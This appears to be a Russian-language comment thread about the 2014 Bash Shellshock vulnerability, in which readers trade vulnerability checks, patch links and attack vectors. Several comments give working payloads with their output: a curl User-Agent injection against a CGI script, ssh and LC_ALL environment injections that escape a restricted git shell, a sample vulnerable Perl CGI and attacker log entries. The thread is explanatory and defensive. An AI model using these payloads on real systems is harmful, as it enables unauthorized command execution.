Pull to refresh

Comments 64

В красной шляпе уже пофикшено.
Пофикшено практически везде. Багу дней 10, сегодня обнародовали. С утра (за ~4 часа до обнародования) в арчлинукс обновление прилетело.
Багу скорее всего лет 10:). Буквально за полчаса до новости прилетел security update в RHEL — наверное поэтому только обнародовали.
На сервера-то апдейты быстро прилетят, сложнее будет со всякими модемами, рутерами, НАС-ами, камерами наблюдения и прочими подключенными к интернету встроенными системами, которые практически не обновляются.
Наберусь наглости и позволю себе попиариться ещё раз. isleaked.com/?lang=ru теперь умеет проверять наличие уязвимости по IP/URL с прицелом на домашние роутеры.
говорят, эти фиксы ничего не фиксят, ждем нормальных.

Запустите у себя
foo='() { echo «hi mom»; }' bash -c 'foo'

если написало «hi mom» — значит вы все еще в опасности.
Во-первых, фиксят — но не до конца.
Во-вторых, этот будет работать всегда — создаётся переменную окружения foo, в которую заносится функция, и потом эта же функция вызывается в дочернем шелле.
Это нормально, так и задумано.
Беспокоиться стоит только если вот это:

x='() { echo «hi mom»; };echo «hi bro»' bash -c 'echo bye dad'

выводит «hi bro» и «hi dad» (на патченых версиях будет только «hi dad»).
Учите матчасть, и не дурите головы людям.
вообще-то ваш код печатает bye dad, а не hi dad.
Да, опечатался. Ну суть остаётся та же — если выводится «hi bro» и «bye dad» — стоит проверить апдейты для своего дистрибутива.
Вообще-то нет, прекратите спекулировать.
Это уже обсуждалось: seclists.org/oss-sec/2014/q3/659
Возможность запихивать функции в переменные — фича интерпретатора, и довольно используемая: codesearch.debian.net/search?q=export\+-f
Говорить, что это уязвимость — то же самое что считать дырой возможность использовать SSH-авторизацию по ключам, которые не защищены паролем. Или возможность сделать «yum remove glibc».

Смысл в том, что если у атакующего есть возможность выставить в окружении переменную ls — то скорее всего у него уже есть достаточно контроля над системой, и экспорт функции — последнее, о чём стоит в данном случае беспокоиться.

Все остальные дыры, о которых речь в посте позволяли выполнять вредоносный код *без* вмешательства — если в окружении есть переменная "() { :; };echo zlo" — echo zlo будет выполнено при любых раскладах на непатченой системе. То, что описывает Mark R Bannister — можно рассматривать как hardening, не более.
В вашем примере нет никакой уязвимости. Вы показали обычный экспорт функций в баше. Уязвимость заключалась в том, что можно заставить баш выполнять код, независимо от того, какую именно переменную установил аттакер. Т. е., если аттакер запускает cgi-скрипт, он не может установить переменную foo, но зато может установить переменню QUERY_STRING (вроде так называется) путём передачи определённых параметров к cgi-скрипту. И баш начнёт выполнять код этого аттакера, даже если в баш-скрипте нет вызова функции под названием QUERY_STRING
UFO just landed and posted this here
> например, если у вас есть CGI-скрипт на Perl, который вызывает Bash

По-моему, это само по себе не очень хорошая идея.
Даже в сях можно напороться на то, что функция system вызывает shell. Да, она небезопасна сама по себе, но это не отменяет того, что она много где встречается.

system() executes a command specified in command by calling /bin/sh -c command

Во многих системах /bin/sh — симлинк на баш:
lrwxrwxrwx 1 root root 4 Sep 4 16:52 /bin/sh -> bash

В мейллистах мелькает даже вектор атаки через ssh, но я не вникал.
И дело даже не в том, что башевый скрипт будет вызван из Perl, PHP, python или tcl (любимое подставить) — т.к. всегда, весь user input, передоваемый в bash, должен быть как минимум от-эскейплен ну или хотя бы проверен на валидность.
атакакующий может сконструировать HTTP-пакет, который будет содержать вредоносный код
Это вообще что с bash, что с другим каким шелом, в принципе не должно случаться (абстрагируясь, от сабжа).
> Это вообще что с bash, что с другим каким шелом, в принципе не должно случаться (абстрагируясь, от сабжа).

В идеальном мире — да. Ну вот случается же.
Конкретно эта бага есть только в баш, все остальные командные интерпретаторы фильтруют это дело.
Ну, CGI-скрипт — это просто пример был.
По сути, всё, что спавнит баш — уязвимо.
Например — фильтры CUPS. Или dhclient, который от DHCP-сервера принимает параметры, которые через переменные окружения передаются в dhclient (который в свою очередь использует bash для настройки некоторых параметров сети).
Есть закрытые репо в гит-репозитории? ;)
$ ssh git@git._____.xx '() { :; }; uptime'
17:06:12 up 19 days, 23:52, 0 users, load average: 1.04, 0.73, 0.65


Есть cgi-скрипты на bash? ;) (не надо так делать!)
$ curl -H 'User-Agent: () { :;}; echo; ping ya.ru' xx.xx.xx.xxx/xxx.cgi
ping: icmp open socket: Operation not permitted
bash: no job control in this shell
Content-type: text/html
По первому, вроде если у вас есть возможность выполнить команду по ssh, то можно просто
ssh git@git___.xx uptime

Или там пропущено что-то вроде -o SendEnv=XXX?
не пропущено, обычно за git@ скрывается рестриктед шелл, который не дает выполнять произвольные команды.

После того как запатчили:
# ssh git@git.____.xx '() { :; }; uptime'
Not allowed command
Спасибо. То есть git-shell внутри себя использует bash? Или это no-interactive-login так себя ведет?
Вообще было бы интересно узнать, что именно происходит при выполнении данной команды. Мне не очевидно, как аргумент ssh становится переменной окружения.
Ну, лолипоп поторопился конечно, как он показал — на моём репо не сработало.
А вот так — прекрасно:

$ env LC_ALL='() { :; }; echo -n UPTIME:; /usr/bin/uptime' ssh git@______.xx
UPTIME: 23:08:53 up 314 days, 9:36, 2 users, load average: 1.50, 1.46, 1.47
Connection to git@______.xx closed.
После того, как закомментировал «AcceptEnv LANG LC_*» в /etc/ssh/sshd_config:

$ env LC_ALL='() { :; }; echo -n UPTIME:; /usr/bin/uptime' ssh git@_______.xx
basename: missing operand
Try 'basename --help' for more information.
git>
Это был вывод с реального сервера с gitlab.
А то что у вас — у меня это выводит uptime с локалхоста, вы ошиблись, видимо.
> А то что у вас — у меня это выводит uptime с локалхоста, вы ошиблись, видимо.

Не может такого быть. Разберём команду:

$ env LC_ALL='() { :; }; echo -n UPTIME:; /usr/bin/uptime' ssh git@_______.xx

Тут env присваивает переменной окружения LC_ALL значение '() { :; }; echo -n UPTIME:; /usr/bin/uptime'
Затем вызывается ssh, который подхватывает переменные окружения и передаёт их на сервер.
Сервер смотрит значение конфига AcceptEnv, и видит, что переменная LC_ALL в списке разрешённых.
Экспортирует эту переменную и форкает то, что у аккаунта git прописано как login shell — а там баш-скрипт.
Встаёт баш, и на этапе инициализации, *перед* тем как начнётся выполнение самого баш-скрипта — будет выполнено то, что в LC_ALL после тела функции — то есть «echo -n UPTIME:; /usr/bin/uptime»

Как видно выше, локалхостом тут и не пахнет — где-то при копи-пасте ошибка.
Также уязвимы вещи типа gitolite (где используется command="some cmd" ssh-rsa ..... в authorized_keys), т. к. при таком раскладе ssh авторизует пользователя (через PAM или как-нибудь ещё, зависит от настроек sshd), форкается, делает setuid+setgid (т. е. дальнейшее выполняется от имени ограниченного пользователя (например gitotile'овского), далее запускает bash -c "some cmd", сохранив оригинальную команду (из вызова ssh user@host «orig cmd») в переменную окружения SSH_ORIGINAL_COMMAND, через что и реализуется уязвимость.
А, ну и да — git-shell — это bash скрипт.
А ещё есть сервисы, которые дают SSH-туннели прокидывать через себя — логиниться позволяют, но команды выполнять не дают.
Вот эта бага как раз и даёт возможность обойти это ограничение.
логиниться позволяют, но команды выполнять не дают.

У таких в качестве shell прописано обычно что-то типа /bin/passwd. Ну давайте попробуйте им выполнить баш команду
Будьде добры, покажите примерчик такого cgi скрипта
Будьте добры, покажите примерчик такого cgi скрипта
Так вон внизу в комментариях от меня — как раз пример.
Патчи

ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017
ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018
ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039
ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012
ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048
ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025

И описание www.openwall.com/lists/oss-security/2014/09/24/11

Bash supports exporting not just shell variables, but also shell functions to other bash instances, via the process environment to (indirect) child processes. Current bash versions use an environment variable named by the function name, and a function definition starting with “() {” in the variable value to propagate function definitions through the environment. The vulnerability occurs because bash does not stop after processing the function definition; it continues to parse and execute shell commands following the function definition. For example, an environment variable setting of

VAR=() { ignored; }; /bin/id

will execute /bin/id when the environment is imported into the bash process. (The process is in a slightly undefined state at this point. The PATH variable may not have been set up yet, and bash could crash after executing /bin/id, but the damage has already happened at this point.)

The fact that an environment variable with an arbitrary name can be used as a carrier for a malicious function definition containing trailing commands makes this vulnerability particularly severe; it enables network-based exploitation.

So far, HTTP requests to CGI scripts have been identified as the major attack vector.

The other vector is OpenSSH, either through AcceptEnv variables, TERM or SSH_ORIGINAL_COMMAND.
UFO just landed and posted this here
UFO just landed and posted this here
Зачем ему вообще шел без параметров? Выше писал уже — сделайте ему вместо шела /bin/passwd.
Код выглядит аналогично предыдущему:
rm -f echo && env -i  X='() { (a)=>\' bash -c 'echo date'; cat echo
Скрипты, внутри которых используются CGI-скрипты, подвержены этой уязвимости. За примером далеко ходить не надо — Cpanel.
У многих роутеров в админках используется CGI (правда, не знаю насчет CGI, который в составе goahead. Goahead очень часто используется в роутерах, но там GCI своеобразный).
Сейчас многие сканируют сеть и заражают устройства таким вот способом, добавляя команды, которые нужно выполнить, в User-Agent, Referer и Cookie. Так что будьте осторожны, особенно со всякими embedded-устройствами.
А можно поинтересоваться, как относится человек на картинке в начале топика к уязвимости?
В интернете ходит много никнеймов для этой уязвимости, одна из них — Bashinga.
Я так и не смог понять, для CGI скриптов на perl есть уязвимость или нет? Если не всегда то при каких условиях?
Если апач запускает cgi на perl то там используэтся bash?
Если программист использовал — то да.
Уязвимы будут скрипты по типу этого:

#!/usr/bin/perl

print "Content-type: text/html\n\n";
system("/bin/bash -c somecommand");
print <<HTML;
 <html>
 <head>
 <title>A Simple Perl CGI</title>
 </head>
 <body>
 <h1>A Simple Perl CGI</h1>
 <p>Hello World</p>
 </body>
HTML
exit; 


При этом, если system() заменить на qx// — то ничего не происходить (qx// не форкает новый шелл насколько я понимаю).
Тоесть если явно использовал /bin/bash в команде system? или могут быть другие варианты?
Если у меня нет вызовов system (и вообще не делаю никакие процессы любыми похожими фкнуциями) то значить все ок?
Про варианты я дополнил в соседнем комментарии, в целом — да, если нет system() — то всё ок.
Если просто написать system("любая команда") и при этом /bin/sh — это симлинк на /bin/bash, то уязвимость
Более настоящий пример — использование шелл-скриптов:

system("/usr/bin/increase_counter.sh");

Если /usr/bin/increase_counter.sh — баш-скрипт, то система будет уязвима.
На OS X возможна эскалация привилегий с использованием этой уязвимости:
image

Также через уязвимый CGI можно вывесить bash наружу:
image
Пробежался по логам в своем заопарке, нашел немало, но несколько (кстати с IP со всего мира) было с «пингами» на один американский адрес в юзер-агенте.
Типа такого — "() { :;}; /bin/ping -c 1 XXX.XXX.XXX.XXX".
Т.к. cgi у меня там наружу нет (да и bash обновился), ради прикола взял и пинганул туда раз с одного сервера. И понеслось… — логи аж ломать начало.
Для проверки, сделал пинг с другого сервера — таже картина маслом. В итоге насчитал в той бот-сетке 4920 уникальных IP (свалившихся в бан).
Адрес спрятал, потому что нехилый трафик после долго еще наблюдал (пока fail2ban все не порезал).
сделайте им пинг со спуфингом src ip, пусть улаживают себе сервера
> И понеслось… — логи аж ломать начало

А можно плиз для примера кусочек логов, что именно началось? Жутко интересно.
В Arch, RHEL и CentOS приехал фикс на CVE-2014-7169.

$ rm -f echo ; env X='() { (a)=>\' sh -c "echo date"; cat echo
date
cat: echo: No such file or directory
Да, пофиксили примерно 12 часов назад.
Я бы предложил добавить эту информацию в пост, то последний апдейт пугает)
Sign up to leave a comment.

Articles